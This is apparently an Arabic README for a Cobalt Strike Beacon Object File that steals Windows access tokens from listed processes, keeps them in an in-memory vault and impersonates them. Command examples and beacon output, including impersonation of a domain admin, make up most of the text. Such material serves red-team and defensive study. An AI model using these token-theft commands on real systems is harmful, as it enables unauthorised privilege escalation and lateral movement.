Token Vault BOF لـ Cobalt Strike

يقوم ملف كائن Beacon (BOF) بإنشاء تخزين في الذاكرة لرموز الوصول إلى Windows المسروقة/المكررة، مما يتيح لك:

• استبدال/إعادة استخدام الرموز المسروقة بالفعل دون إعادة تكرارها.
• تخزين الرموز لاستخدامها لاحقًا في حالة تسجيل خروج المستخدم.

التثبيت

1. حمّل أحدث إصدار بناء أو ابنِه باستخدام make all.
2. قم بتحميل سكربت المهاجم (Aggressor) token-vault.cna إلى عميل Cobalt Strike الخاص بك.

الاستخدام

beacon> help token-vault
Available Commands:
    Create a new token vault:    token-vault create
    Steal and store tokens:      token-vault steal <comma separated list of PIDs> [vault-id]
    Use the stored token:        token-vault use <token-id> [vault-id]
    Show the stored tokens:      token-vault show [vault-id]
    Remove the stored token:     token-vault remove <token-id> [vault-id]
    Remove all tokens:           token-vault remove-all [vault-id]
    Set the default token vault: token-vault set <vault-id>

إنشاء القبو

يخصّص أمر token-vault create قبوًا فارغًا من كومة الذاكرة (heap) الخاصة بـ beacon. يحتوي الإخراج المستلم على عنوان الذاكرة للقبو (المعروف أيضًا باسم vault id)، والذي يُستخدم لتحديد القبو لأوامر token-vault الأخرى.

beacon> token-vault create
[*] Token Vault - create (@henkru)
[+] host called home, sent: 2991 bytes
[+] received output:
token vault created: 0000000000C31610

بالإضافة إلى ذلك، يمكن تعيين معرّف قبو معيّن كقبو افتراضي يُستخدم إذا لم يتضمن أمر token-vault معرّف القبو.

beacon> token-vault set 0000000000C31610

من المهم ملاحظة أن القبو الافتراضية التي تم تكوينها تعيش داخل عميل Cobalt Strike ولا تتم مشاركتها بين العملاء.

سرقة الرمز

يقوم أمر token-vault steal بتكرار رموز العمليات المحددة وتخزينها في القبو.

beacon> token-vault steal 6600,2608,5248
[*] Token Vault - steal (@henkru)
[+] host called home, sent: 3009 bytes
[+] received output:
6600: WINLAB\limited
[+] received output:
2608: WINLAB\limited2
[+] received output:
5248: WINLAB\admin

عرض الرموز المخزنة

beacon> token-vault show
[*] Token Vault - show (@henkru)
[+] host called home, sent: 2999 bytes
[+] received output:
5248: WINLAB\admin
2608: WINLAB\limited2
6600: WINLAB\limited

استخدام الرمز

ينتحل أمر token-vault use صفة رمز من القبو. إذا لم يكن الرمز موجودًا، فسيتم سرقته وتخزينه في القبو.

beacon> token-vault use 2608
[*] Token Vault - use (@henkru)
[+] host called home, sent: 3001 bytes
[+] Impersonated WINLAB\limited

beacon> token-vault use 6384
[*] Token Vault - use (@henkru)
[+] host called home, sent: 3001 bytes
[-] token of 6384 not in the vault; try to get it.
[+] received output:
6384: WINLAB\da
[+] Impersonated WINLAB\da

إزالة الرمز

يزيل أمر token-vault remove رمزًا مخزنًا من القبو.

beacon> token-vault remove 6600
[*] Token Vault - remove (@henkru)
[+] host called home, sent: 3001 bytes
[+] received output:
removed: 6600

بالإضافة إلى ذلك، يزيل أمر token-vault remove-all جميع الرموز دفعة واحدة.